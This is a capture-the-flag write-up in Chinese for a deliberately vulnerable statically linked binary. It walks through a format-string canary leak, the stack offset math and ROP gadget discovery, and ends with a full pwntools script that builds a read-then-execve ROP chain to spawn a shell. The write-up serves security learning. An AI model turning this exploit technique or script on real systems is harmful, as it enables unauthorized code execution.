看原始碼C,似乎有FSV跟BOF可以用 FSV :` printf(secret);` BOF : ``` char s[16]; ... read(0, s, 2025); ``` ``` #include <stdio.h> #include <unistd.h> #include <string.h> int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); char secret[8]; char s[16]; printf("Tell me your secret:"); gets(secret); printf("Your secret:"); printf(secret); printf("\n"); printf("One chance to get my secret:"); read(0, s, 2025); puts(s); return 0; } ``` **GDB分析** file ./forferplus 檔案靜態連結 checksec ./forferplus GOT可寫,跟沒有PIE ![image](https://hackmd.io/_uploads/BJblVfasll.png) * 靜態連結與無 PIE。所有函式和程式碼片段 (Gadgets) 的地址都是固定不變的,我們不需要洩漏 libc 基址 * Canary保護在進行緩衝區溢位前,必須先想辦法洩漏出 Canary 的值 * NX保護不能直接在堆疊上寫入並執行 shellcode,必須使用 ROP (返回導向程式設計) 接下來到leak出位置,但根據我之前leak地址的經驗 %p會像這樣露出很多地址,然後我會找得很累,數得很久還會算錯,所以這次就用一個找offset的腳本去跑 ![image](https://hackmd.io/_uploads/SJOTvfTsxx.png) 容易閱讀多了 洩漏地址是為了找出CANARY在哪裡,CANARY特色是結尾是兩個00,也就是第十一位,這就是canary的offset位置 ![image](https://hackmd.io/_uploads/H1tFYfasge.png) 這裡通常會直接cyclic 然後輸入過長的字串去觸發BOF,但目前有CANARY保護,所以行不通。 接下來是要算一下該怎麼填垃圾直到碰到CANARY,因為需要去控制CANARY的數值,不能夠亂填,保護機制會去檢查CANARY是否正確! Canary 存放在了 [rbp-0x8] s 在[rbp-0x20] lea rax,[rbp-0x20],0x20 等於 32 以rbp當基準0,cananry 在-8,s 在-32 s 的開頭到 Canary 之間的距離為(-8) - (-32) = -8 + 32 = 24 從 s 的開頭,我們需要填充 24 個位元組的垃圾數據,才能剛好到達 Canary 的位置 ``` Dump of assembler code for function main: 0x0000000000401825 <+0>: endbr64 0x0000000000401829 <+4>: push rbp 0x000000000040182a <+5>: mov rbp,rsp 0x000000000040182d <+8>: sub rsp,0x30 0x0000000000401831 <+12>: mov rax,QWORD PTR fs:0x28 0x000000000040183a <+21>: mov QWORD PTR [rbp-0x8],rax 0x000000000040183e <+25>: xor eax,eax 0x0000000000401840 <+27>: mov rax,QWORD PTR [rip+0xc3eb1] # 0x4c56f8 <stdin> 0x0000000000401847 <+34>: mov ecx,0x0 0x000000000040184c <+39>: mov edx,0x2 0x0000000000401851 <+44>: mov esi,0x0 0x0000000000401856 <+49>: mov rdi,rax 0x0000000000401859 <+52>: call 0x412680 <setvbuf> 0x000000000040185e <+57>: mov rax,QWORD PTR [rip+0xc3e8b] # 0x4c56f0 <stdout> 0x0000000000401865 <+64>: mov ecx,0x0 0x000000000040186a <+69>: mov edx,0x2 0x000000000040186f <+74>: mov esi,0x0 0x0000000000401874 <+79>: mov rdi,rax 0x0000000000401877 <+82>: call 0x412680 <setvbuf> 0x000000000040187c <+87>: lea rax,[rip+0x96781] # 0x498004 0x0000000000401883 <+94>: mov rdi,rax 0x0000000000401886 <+97>: mov eax,0x0 0x000000000040188b <+102>: call 0x40b790 <printf> 0x0000000000401890 <+107>: lea rax,[rbp-0x28] 0x0000000000401894 <+111>: mov rdi,rax 0x0000000000401897 <+114>: mov eax,0x0 0x000000000040189c <+119>: call 0x412220 <gets> 0x00000000004018a1 <+124>: lea rax,[rip+0x96771] # 0x498019 0x00000000004018a8 <+131>: mov rdi,rax 0x00000000004018ab <+134>: mov eax,0x0 0x00000000004018b0 <+139>: call 0x40b790 <printf> 0x00000000004018b5 <+144>: lea rax,[rbp-0x28] 0x00000000004018b9 <+148>: mov rdi,rax 0x00000000004018bc <+151>: mov eax,0x0 0x00000000004018c1 <+156>: call 0x40b790 <printf> 0x00000000004018c6 <+161>: mov edi,0xa 0x00000000004018cb <+166>: call 0x412870 <putchar> 0x00000000004018d0 <+171>: lea rax,[rip+0x9674f] # 0x498026 0x00000000004018d7 <+178>: mov rdi,rax 0x00000000004018da <+181>: mov eax,0x0 0x00000000004018df <+186>: call 0x40b790 <printf> 0x00000000004018e4 <+191>: lea rax,[rbp-0x20] 0x00000000004018e8 <+195>: mov edx,0x7e9 0x00000000004018ed <+200>: mov rsi,rax 0x00000000004018f0 <+203>: mov edi,0x0 0x00000000004018f5 <+208>: call 0x44f820 <read> 0x00000000004018fa <+213>: lea rax,[rbp-0x20] 0x00000000004018fe <+217>: mov rdi,rax 0x0000000000401901 <+220>: call 0x4124e0 <puts> 0x0000000000401906 <+225>: mov eax,0x0 0x000000000040190b <+230>: mov rdx,QWORD PTR [rbp-0x8] 0x000000000040190f <+234>: sub rdx,QWORD PTR fs:0x28 0x0000000000401918 <+243>: je 0x40191f <main+250> 0x000000000040191a <+245>: call 0x4525c0 <__stack_chk_fail_local> 0x000000000040191f <+250>: leave 0x0000000000401920 <+251>: ret ``` 接下來就是ROP的部分 希望是可以execve("/bin/sh",NULL,NULL) * 呼叫 read 函式,將 "/bin/sh" 字串寫入至地址固定的 .bss 段 * 設定 rax、rdi、rsi、rdx 四個暫存器,以滿足 execve 系統調用的要求(rax=59, rdi 指向剛寫入的 "/bin/sh"),最後跳轉至 syscall 指令,成功取得 Shell bss寫入到0x4c8000 ![image](https://hackmd.io/_uploads/ByMZfQTogx.png) read位置是0x44f820 用ROPgadget找一下所需要Gadget,底下這是腳本的紀錄訊息 ``` POP_RDI = p64(0x401fcf) # pop rdi; ret POP_RSI = p64(0x40a03e) # pop rsi; ret POP_RDX_RBX = p64(0x485feb) # pop rdx; pop rbx; ret POP_RAX = p64(0x450287) # pop rax; ret SYSCALL = p64(0x401d84) # syscall ``` 目前東西都湊齊了 應該怎麼堆ROP CHAIN,用EXCEL表示 ![image](https://hackmd.io/_uploads/Hyq5JH6iel.png) 一開始先放垃圾資料填到CANARY後,填滿SAVED RBP 然後開始放read所需參數,直到紅色的POP_RDI_RET開始放入execve參數 可以觀察一下腳本有沒有跑對,跟預想的是否相同 ![image](https://hackmd.io/_uploads/BJmVZrTigl.png) ![image](https://hackmd.io/_uploads/ry7PZHaiex.png) ``` from pwn import * context.arch = 'amd64' CANARY_LEAK_OFFSET = 11 PADDING_OFFSET = 24 POP_RDI_RET = 0x401fcf POP_RSI_RET = 0x40a03e POP_RDX_RBX_RET = 0x485feb POP_RAX_RET = 0x450287 SYSCALL = 0x401d84 READ_ADDR = 0x44f820 BSS_ADDR = 0x4c8000 p = remote('localhost', 40001) # Docker # p = process('./forferplus') # 執行本地檔案 p.recvuntil(b'Tell me your secret:') p.sendline(f'%{CANARY_LEAK_OFFSET}$p'.encode()) p.recvuntil(b'Your secret:') canary_line = p.recvline().strip().decode() canary = int(canary_line.split(' ')[0], 16) log.success(f"Canary: {hex(canary)}") #ROP CHAIN rop = b"" rop += p64(POP_RDI_RET) + p64(0) rop += p64(POP_RSI_RET) + p64(BSS_ADDR) rop += p64(POP_RDX_RBX_RET) + p64(8) + p64(0) rop += p64(READ_ADDR) rop += p64(POP_RDI_RET) + p64(BSS_ADDR) rop += p64(POP_RSI_RET) + p64(0) rop += p64(POP_RDX_RBX_RET) + p64(0) + p64(0) rop += p64(POP_RAX_RET) + p64(59) rop += p64(SYSCALL) payload = b'A' * PADDING_OFFSET + p64(canary) + b'B' * 8 + rop p.recvuntil(b'One chance to get my secret:') p.sendline(payload) p.send(b'/bin/sh\x00') p.interactive() ```